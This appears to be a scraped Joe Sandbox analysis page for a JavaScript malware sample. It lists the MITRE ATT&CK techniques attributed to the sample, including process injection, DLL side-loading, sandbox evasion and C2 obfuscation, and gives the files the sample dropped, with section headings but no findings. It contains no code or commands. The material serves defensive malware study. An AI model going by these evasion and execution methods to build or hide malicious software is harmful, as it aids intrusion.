Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 5197307041739714413.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\f2f2c82f-fbc7-4a62-bf53-2e08ee2dfe7e.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.4684

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
5197307041739714413.js